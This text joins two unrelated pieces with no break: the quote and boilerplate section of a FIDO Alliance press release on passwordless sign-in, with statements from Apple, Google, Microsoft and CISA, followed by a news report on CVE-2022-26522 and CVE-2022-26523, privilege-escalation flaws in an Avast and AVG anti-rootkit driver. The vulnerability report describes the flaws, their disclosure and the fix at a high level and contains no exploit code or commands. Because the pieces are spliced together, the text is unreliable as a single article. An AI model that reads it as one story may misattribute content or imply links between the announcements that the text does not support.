“‘Simpler, stronger authentication’ is not just FIDO Alliance’s tagline — it also has been a guiding principle for our specifications and deployment guidelines. Ubiquity and usability are critical to seeing multi-factor authentication adopted at scale, and we applaud Apple, Google, and Microsoft for helping make this objective a reality by committing to support this user-friendly innovation in their platforms and products,” said Andrew Shikiar, executive director and CMO of the FIDO Alliance. “This new capability stands to usher in a new wave of low-friction FIDO implementations alongside the ongoing and growing utilization of security keys — giving service providers a full range of options for deploying modern, phishing-resistant authentication.”
“The standards developed by the FIDO Alliance and World Wide Web Consortium and being led in practice by these innovative companies is the type of forward-leaning thinking that will ultimately keep the American people safer online. I applaud the commitment of our private sector partners to open standards that add flexibility for the service providers and a better user experience for customers,” said Jen Easterly, Director of the U.S. Cybersecurity and Infrastructure Security Agency. “At CISA, we are working to raise the cybersecurity baseline for all Americans. Today is an important milestone in the security journey to encourage built-in security best practices and help us move beyond passwords. Cyber is a team sport, and we’re pleased to continue our collaboration.”
“Just as we design our products to be intuitive and capable, we also design them to be private and secure,” said Kurt Knight, Apple’s Senior Director of Platform Product Marketing. “Working with the industry to establish new, more secure sign-in methods that offer better protection and eliminate the vulnerabilities of passwords is central to our commitment to building products that offer maximum security and a transparent user experience — all with the goal of keeping users’ personal information safe.”
“This milestone is a testament to the collaborative work being done across the industry to increase protection and eliminate outdated password-based authentication,” said Mark Risher, Senior Director of Product Management, Google. “For Google, it represents nearly a decade of work we’ve done alongside FIDO, as part of our continued innovation towards a passwordless future. We look forward to making FIDO-based technology available across Chrome, ChromeOS, Android and other platforms, and encourage app and website developers to adopt it, so people around the world can safely move away from the risk and hassle of passwords.”
“The complete shift to a passwordless world will begin with consumers making it a natural part of their lives. Any viable solution must be safer, easier, and faster than the passwords and legacy multi-factor authentication methods used today,” says Alex Simons, Corporate Vice President, Identity Program Management at Microsoft. “By working together as a community across platforms, we can at last achieve this vision and make significant progress toward eliminating passwords. We see a bright future for FIDO-based credentials in both consumer and enterprise scenarios and will continue to build support across Microsoft apps and services.”
The FIDO (Fast IDentity Online) Alliance, www.fidoalliance.org, was formed in July 2012 to address the lack of interoperability among strong authentication technologies, and remedy the problems users face with creating and remembering multiple usernames and passwords. The FIDO Alliance is changing the nature of authentication with standards for simpler, stronger authentication that define an open, scalable, interoperable set of mechanisms that reduce reliance on passwords. FIDO Authentication is stronger, private, and easier to use when authenticating to online services.
About Apple
Apple revolutionized personal technology with the introduction of the Macintosh in 1984. Today, Apple leads the world in innovation with iPhone, iPad, Mac, Apple Watch, and Apple TV. Apple’s five software platforms — iOS, iPadOS, macOS, watchOS, and tvOS — provide seamless experiences across all Apple devices and empower people with breakthrough services including the App Store, Apple Music, Apple Pay, and iCloud. Apple’s more than 100,000 employees are dedicated to making the best products on earth, and to leaving the world better than we found it.
About Google
Google’s mission is to organize the world’s information and make it universally accessible and useful. Through products and platforms like Search, Maps, Gmail, Android, Google Play, Google Cloud, Chrome and YouTube, Google plays a meaningful role in the daily lives of billions of people and has become one of the most widely-known companies in the world. Google is a subsidiary of Alphabet Inc.
About Microsoft
Microsoft enables digital transformation for the era of an intelligent cloud and an intelligent edge. Its mission is to empower every person and every organization on the planet to achieve more.
Two high-severity security vulnerabilities, which went undetected for several years, have been discovered in a legitimate driver that’s part of Avast and AVG antivirus solutions.
“These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded,” SentinelOne researcher Kasif Dekel said in a report shared with The Hacker News.
Tracked as CVE-2022-26522 and CVE-2022-26523, the flaws reside in a legitimate anti-rootkit kernel driver named aswArPot.sys and are said to have been introduced in Avast version 12.1, which was released in June 2016.
Specifically, the shortcomings are rooted in a socket connection handler in the kernel driver that could lead to privilege escalation by running code in the kernel from a non-administrator user, potentially causing the operating system to crash and display a blue screen of death (BSoD) error.
Worryingly, the flaws could also be exploited as part of a second-stage browser attack or to perform a sandbox escape, leading to far-reaching consequences.
Following responsible disclosure on December 20, 2021, Avast addressed the issues in version 22.1 of the software released on February 8, 2022. “Rootkit driver BSoD was fixed,” the company said in its release notes.
While there is no evidence that these flaws were abused in the wild, the disclosure comes merely days after Trend Micro detailed an AvosLocker ransomware attack that leveraged another issue in the same driver to terminate antivirus solutions on the compromised system.
Update: SentinelOne notes that the bug dates back to version 12.1, which it claims was released in January 2012. However, Avast’s own releasenotes show that version 12.1 was shipped in June 2016. We have reached out to SentinelOne for further comment, and we’ll update the story once we hear back.
